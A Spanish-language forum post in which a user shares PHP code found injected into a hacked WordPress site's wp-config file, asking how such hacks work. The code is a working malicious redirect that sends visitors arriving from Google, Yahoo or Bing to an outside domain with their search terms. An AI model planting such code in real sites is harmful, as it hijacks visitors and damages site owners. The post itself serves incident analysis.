Hackeado mi sitio (Ya solucionado) y quiero saber como lo hacen

[IH-Antonio]

Hola, por si te sirve de algo, esto es lo que hay en el wp-config:

Código PHP:

      if (stristr($_SERVER[HTTP_REFERER],"google")) { 
    if (!stristr($_SERVER[HTTP_REFERER],".nu") and !stristr($_SERVER[HTTP_REFERER],"site") and !stristr($_SERVER[HTTP_REFERER],"inurl")){ 
        preg_match ("/q\=(.*)/",$_SERVER[HTTP_REFERER],$kk); 
        if (stristr($kk[1],"&")) { 
            preg_match ("/(.*?)\&/",$kk[1],$key2); 
            $keyword=urldecode($key2[1]); 
        }else { 
            $keyword=urldecode($kk[1]); 
        } 
        header("Location: http://fgnfdfthrv.bee.pl/?q=".$keyword); 
        exit(); 
    } 
 
}elseif (stristr($_SERVER[HTTP_REFERER],"yahoo")) { 
preg_match ("/p\=(.*?)&/",$_SERVER[HTTP_REFERER],$kk); 
        header("Location: http://fgnfdfthrv.bee.pl/?q=".$kk[1]); 
        exit(); 
}elseif (stristr($_SERVER[HTTP_REFERER],"bing")) { 
preg_match ("/q\=(.*?)&/",$_SERVER[HTTP_REFERER],$kk); 
        header("Location: http://fgnfdfthrv.bee.pl/?q=".$kk[1]); 
        exit(); 
}